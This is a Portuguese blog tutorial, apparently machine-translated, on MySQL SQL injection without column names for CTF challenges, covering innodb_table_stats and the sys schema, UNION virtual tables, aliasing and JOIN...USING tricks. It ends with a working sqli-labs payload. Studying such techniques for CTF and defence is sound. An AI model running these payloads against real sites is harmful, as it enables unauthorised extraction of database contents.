Explicação detalhada do princípio da injeção SQL sem injeção de nome de coluna

Por que é necessária a injeção sem coluna?

Nosso método de injeção SQL comumente usado é information_schemaimplementado por meio deste banco de dados padrão, mas você já pensou que se o banco de dados for filtrado, não poderemos usar esta biblioteca para descobrir os nomes das tabelas e das colunas. No entanto, podemos descobrir o nome da tabela de duas maneiras:

  1. Mecanismo InnoDb

    A partir do MYSQL5.5.8, o InnoDB se torna seu mecanismo de armazenamento padrão. Nas versões superiores ao MYSQL 5.6, inndb adiciona duas tabelas, innodb_index_stats e innodb_table_stats ( mysql.innodb_table_stats) Ambas as tabelas armazenam informações sobre o banco de dados e suas tabelas de dados, mas não armazenam nomes de colunas. Nas versões superiores do mysql, as estruturas das tabelas são registradas em INNODB_TABLES e INNODB_COLUMNS.

  2. banco de dados sys

    No MYSQL 5.7 e superior, o banco de dados sys é adicionado.Os dados básicos deste banco de dados vêm de information_schema e performance_chema e não armazena dados em si. O nome da tabela pode ser obtido através de schema_auto_increment_columns( sys.schema_auto_increment_columns).

No entanto, os dois métodos acima só podem encontrar o nome da tabela, mas não o nome da coluna. Neste caso, usaremos injeção sem coluna. A injeção sem colunas, como o nome sugere, é uma injeção que pode injetar dados sem nomes de colunas.

Nenhuma condição de uso de injeção de nome de coluna

A injeção sem nomes de colunas é principalmente adequada para situações em que a tabela de dados foi obtida, mas as colunas não podem ser consultadas.Na maioria das questões CTF, a biblioteca information_schema é filtrada e este método é usado para obter nomes de colunas.

Nenhum princípio de injeção de nome de coluna

O princípio da injeção sem colunas é na verdade muito simples, ou seja, a consulta conjunta cria dados virtuais. Isso pode ser visto como um alias para os nomes das colunas que não conhecemos e como uma consulta de dados usando o alias, portanto, o número de campos de consulta deve ser o mesmo. Se os campos que consultamos forem maiores que as colunas na tabela de dados, ocorrerá um erro. Relate um erro.

Demonstração prática:

Os dados na tabela de usuário de consulta normal sãoselect * from user;

imagem-20230917145304914

Use uma consulta conjunta para verificar os dados da tabela select 1,2,3 union select * from user;. É óbvio que dados fictícios (valor do campo virtual 123 e tabela virtual) são criados e o nome da coluna na tabela virtual passa a ser 123.

imagem-20230917145419828

Se verificarmos apenas o valor do campo de uma coluna, podemos usar:
Para explicar, xxx é o nome da tabela virtual nomeada por você, que pode ser customizada. Esta instrução sql cria a tabela virtual xxx e as colunas virtuais 1, 2 e 3 em uma consulta conjunta e consulta simultaneamente os dados na segunda coluna da tabela virtual.

select `2` from (select 1,2,3 union select * from user)xxx;

imagem-20230917145701326

Verifique várias colunas ao mesmo tempo

select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx;

imagem-20230917150452258

No entanto, às vezes ` também será filtrado. Neste momento, temos que usar a operação de alias (as) novamente e alterar os nomes das colunas, para que os nomes das colunas não precisem de crases ao consultar os dados.

select 1 as a,2 as b,3 as c union select * from user;

imagem-20230917150229489

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

imagem-20230917150304333


Outro método é usar JOINinjeção sem nomes de colunas para estabelecer uma conexão interna entre as duas tabelas através de JOIN. Ou seja, adicionar os nomes das colunas das duas tabelas pode revelar os mesmos nomes de colunas. Usamos É esse recurso que faz com que o lista pop-up.

select * from (select * from user as a join user as b)xxx;

imagem-20230917152950066

Depois de obter o nome da primeira coluna id, a carga útil a seguir nos ecoará os dados da segunda coluna.

select * from (select * from user as a join user as b using(id))xxx;

imagem-20230917153008543

E assim por diante para o resto.

select * from (select * from user as a join user as b using(id,username))xxx;

imagem-20230917153055650

A carga real do primeiro nível do sqli-labs:

?id=-1' union all select * from (select * from users as a join users as b)as c--+

Acho que você gosta

Origin blog.csdn.net/Jayjay___/article/details/132956870
Recomendado
Clasificación